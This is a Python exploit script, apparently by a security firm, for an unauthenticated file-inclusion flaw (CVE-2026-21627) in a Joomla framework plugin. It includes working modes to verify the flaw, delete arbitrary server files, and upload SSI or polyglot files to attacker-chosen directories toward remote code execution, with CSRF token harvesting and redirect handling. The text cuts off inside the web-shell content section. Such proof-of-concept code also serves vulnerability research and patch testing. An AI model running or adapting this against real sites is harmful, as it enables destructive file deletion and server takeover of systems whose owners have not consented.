#!/usr/bin/env python3
"""
CVE-2026-21627 - Tassos/Novarain Framework (plg_system_nrframework) Exploit
Affects versions 4.10.14 - 6.0.37 on Joomla CMS
Vulnerability: Unauthenticated Arbitrary PHP File Inclusion via ajaxTaskInclude()
The 'include' task in onAjaxNrframework() allows frontend (non-admin) access.
The 'path' parameter uses RAW input filter (no sanitization), enabling arbitrary
PHP file inclusion. Combined with gadget classes (e.g. nrinlinefileupload),
this enables:
- Arbitrary file delete (onRemove → unlink without path validation)
- File upload to user-controlled directory (onUpload → base64-decoded upload_folder)
- Potential RCE via .shtml SSI injection or PHP polyglot upload
Usage:
python3 cve_2026_21627.py --target https://example.com --mode verify
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
Author: Yallasec - Arcangelo@Saracino.yallasec.com @arkango - https://yallasec.com
"""
import argparse
import base64
import json
import re
import sys
import time
import requests
from urllib.parse import urljoin, urlencode, urlparse
# Suppress SSL warnings for self-signed certs
requests.packages.urllib3.disable_warnings()
DELAY = 2.5 # seconds between requests
# --- Color output helpers ---
class C:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
BOLD = "\033[1m"
RST = "\033[0m"
def info(msg): print(f"{C.BLUE}[*]{C.RST} {msg}")
def success(msg): print(f"{C.GREEN}[+]{C.RST} {msg}")
def warn(msg): print(f"{C.YELLOW}[!]{C.RST} {msg}")
def error(msg): print(f"{C.RED}[-]{C.RST} {msg}")
def banner():
print(f"""{C.CYAN}{C.BOLD}
╔══════════════════════════════════════════════════════╗
║ CVE-2026-21627 - nrframework File Include Exploit ║
║ Tassos/Novarain Framework 4.10.14 - 6.0.37 ║
╚══════════════════════════════════════════════════════╝{C.RST}
""")
class NRFrameworkExploit:
"""Exploit for CVE-2026-21627 arbitrary file inclusion in nrframework."""
# Gadget: nrinlinefileupload has onAjax() with file upload and delete
GADGET_PATH = "plugins/system/nrframework/fields/"
GADGET_FILE = "nrinlinefileupload"
GADGET_CLASS = "JFormFieldNRInlineFileUpload"
def __init__(self, target, sef_prefix="/it/", delay=DELAY, proxy=None, verify_ssl=False):
self.target = target.rstrip("/")
self.sef_prefix = sef_prefix
self.delay = delay
self.verify_ssl = verify_ssl
self.session = requests.Session()
self.session.verify = verify_ssl
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
})
self.csrf_token = None
self.base_url = None # will be set after auth
def _sleep(self):
"""Rate limiting between requests."""
time.sleep(self.delay)
def authenticate(self):
"""
Establish a Joomla session and extract the matching CSRF token.
Joomla creates session cookies lazily - not on the homepage, but on
specific requests. We trigger session creation by probing the AJAX
endpoint, then re-fetch the homepage WITH the session cookie to get
a CSRF token that matches this session.
"""
# Build base AJAX URL using Joomla's SEF format
self.base_url = self.target + self.sef_prefix + "component/ajax/"
# Step 1: Visit homepage to get load-balancer/ADC cookies
info("Step 1/3: Fetching initial cookies from homepage...")
url = self.target + self.sef_prefix
try:
self.session.get(url, timeout=30, allow_redirects=True)
except requests.RequestException as e:
error(f"Cannot reach target: {e}")
return False
self._sleep()
# Step 2: Probe the AJAX endpoint to trigger Joomla session creation
info("Step 2/3: Triggering Joomla session creation...")
try:
self.session.get(
self.base_url,
params={"format": "raw", "plugin": "nrframework"},
timeout=30,
allow_redirects=True,
)
except requests.RequestException:
pass # We just need the Set-Cookie header
self._sleep()
# Step 3: Re-visit homepage WITH session cookie to get matching CSRF
info("Step 3/3: Extracting session-bound CSRF token...")
try:
resp = self.session.get(url, timeout=30, allow_redirects=True)
except requests.RequestException as e:
error(f"Cannot reach target: {e}")
return False
# Extract CSRF token from Joomla's csrf.token JS variable
m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', resp.text)
if not m:
m = re.search(r']+name="([a-f0-9]{32})"[^>]+value="1"', resp.text)
if not m:
error("Could not extract CSRF token from homepage")
return False
self.csrf_token = m.group(1)
# Show session info
joomla_cookie = None
for name, value in self.session.cookies.items():
if len(name) == 32 and all(c in '0123456789abcdef' for c in name):
joomla_cookie = (name, value)
break
if joomla_cookie:
success(f"Joomla session: {joomla_cookie[0]}={joomla_cookie[1][:16]}...")
else:
warn("No Joomla session cookie detected (using ADC cookies only)")
success(f"CSRF token: {self.csrf_token}")
return True
def _build_include_params(self, extra_params=None):
"""
Build the query parameters for the ajaxTaskInclude() exploit.
This is the core of CVE-2026-21627.
"""
params = {
"format": "raw",
"plugin": "nrframework",
"task": "include",
"path": self.GADGET_PATH,
"file": self.GADGET_FILE,
"class": self.GADGET_CLASS,
self.csrf_token: "1",
}
if extra_params:
params.update(extra_params)
return params
def _ajax_request(self, method="GET", params=None, data=None, files=None):
"""
Send a request to the vulnerable AJAX endpoint.
Joomla SEF routing may cause 303 redirects with &-encoded Location headers.
We follow redirects manually, fixing the encoding issue.
"""
url = self.base_url
max_redirects = 5
for attempt in range(max_redirects + 1):
try:
if method == "GET":
resp = self.session.get(url, params=params, timeout=30, allow_redirects=False)
else:
resp = self.session.post(url, params=params, data=data, files=files, timeout=30, allow_redirects=False)
except requests.RequestException as e:
error(f"Request failed: {e}")
return None
# Follow redirects manually, fixing & encoding
if resp.status_code in (301, 302, 303, 307, 308):
location = resp.headers.get("Location", "")
if not location:
break
# Fix Joomla's & encoding in redirect URLs
location = location.replace("&", "&")
# Make absolute if relative
if location.startswith("/"):
parsed = urlparse(self.target)
location = f"{parsed.scheme}://{parsed.netloc}{location}"
info(f"Following redirect ({resp.status_code}) → {location[:120]}...")
# For 303, switch to GET and drop body/files
if resp.status_code == 303:
method = "GET"
data = None
files = None
url = location
params = None # params are now in the redirect URL
time.sleep(0.5)
continue
break
self._sleep()
return resp
# ──────────────────────────────────────────────
# MODE: verify
# ──────────────────────────────────────────────
def verify(self):
"""
Verify the vulnerability exists by triggering the include chain.
Expected: the gadget class is loaded and onAjax() executes,
returning a JSON response instead of FILE_ERROR/CLASS_ERROR/METHOD_ERROR.
"""
info("Verifying CVE-2026-21627 (arbitrary file inclusion)...")
params = self._build_include_params()
resp = self._ajax_request("GET", params=params)
if resp is None:
error("No response received")
return False
body = resp.text.strip()
status = resp.status_code
info(f"HTTP {status} | Response length: {len(body)} | Body: {body[:200]}")
# Check for error signatures from ajaxTaskInclude
if body == "FILE_ERROR":
error("FILE_ERROR - gadget file not found at expected path")
warn("The plugin may be installed at a different path or version differs")
return False
elif body == "CLASS_ERROR":
error("CLASS_ERROR - file included but class not found")
return False
elif body == "METHOD_ERROR":
error("METHOD_ERROR - class found but onAJAX method missing")
return False
# If we get a JSON response or any other response, the chain executed
if "error" in body.lower() or "response" in body.lower() or "upload" in body.lower():
success("VULNERABLE! Gadget class instantiated and onAjax() executed")
success(f"Response: {body[:300]}")
return True
# Any non-error response means the include chain worked
if status == 200 and body not in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
success("VULNERABLE! File inclusion chain executed successfully")
success(f"Response: {body[:300]}")
return True
warn(f"Unexpected response (HTTP {status}): {body[:200]}")
return False
# ──────────────────────────────────────────────
# MODE: delete (arbitrary file delete)
# ──────────────────────────────────────────────
def delete_file(self, file_path):
"""
Exploit the onRemove() method in JFormFieldNRInlineFileUpload
to delete an arbitrary file on the server.
The onRemove() code:
if (file_exists($file)) { unlink($file); }
No path validation is performed.
"""
info(f"Attempting to delete file: {file_path}")
warn("This is a DESTRUCTIVE operation!")
params = self._build_include_params({
"action": "remove",
"remove_file": file_path,
})
resp = self._ajax_request("GET", params=params)
if resp is None:
error("No response received")
return False
body = resp.text.strip()
info(f"HTTP {resp.status_code} | Response: {body[:300]}")
try:
data = json.loads(body)
if data.get("error") is False:
success(f"File deletion succeeded: {file_path}")
return True
else:
warn(f"Server response: {data.get('response', 'unknown')}")
except json.JSONDecodeError:
warn(f"Non-JSON response: {body[:200]}")
return False
# ──────────────────────────────────────────────
# MODE: upload (file upload to controlled dir)
# ──────────────────────────────────────────────
def upload_file(self, shell_type="shtml", upload_dir="images", custom_content=None):
"""
Exploit the onUpload() method in JFormFieldNRInlineFileUpload
to upload a file to a user-controlled directory.
The upload_folder is base64-decoded from user input.
Allowed MIME types: text/plain, text/csv
Allowed extensions (for text/plain): csv, txt, shtml, html, log, etc.
RCE strategies:
- shtml: Upload .shtml with SSI (requires mod_include)
- csv: Upload .csv with PHP polyglot (requires PHP config to parse .csv)
- txt: Upload .txt for info disclosure / proof of write
"""
# Encode the upload directory in base64
upload_folder_b64 = base64.b64encode(upload_dir.encode()).decode()
# Check if base64 contains chars stripped by Joomla's CMD filter (+, /, =)
unsafe_chars = set(upload_folder_b64) & set("+/=")
if unsafe_chars:
warn(f"Upload dir '{upload_dir}' encodes to base64 with unsafe chars: {unsafe_chars}")
warn("Joomla's CMD filter may strip these. Try a simpler directory name.")
# Strip padding = since base64_decode in PHP handles missing padding
upload_folder_b64 = upload_folder_b64.rstrip("=")
remaining_unsafe = set(upload_folder_b64) & set("+/")
if remaining_unsafe:
error(f"Cannot encode path without +/: {upload_folder_b64}")
return None
info(f"Upload directory: {upload_dir} (base64: {upload_folder_b64})")
# Prepare the shell content based on type
if custom_content:
content = custom_content
filename = f"test.{shell_type}"
elif shell_type == "shtml":
# IMPORTANT: No HTML tags! mime_content_type() detects /\n"
"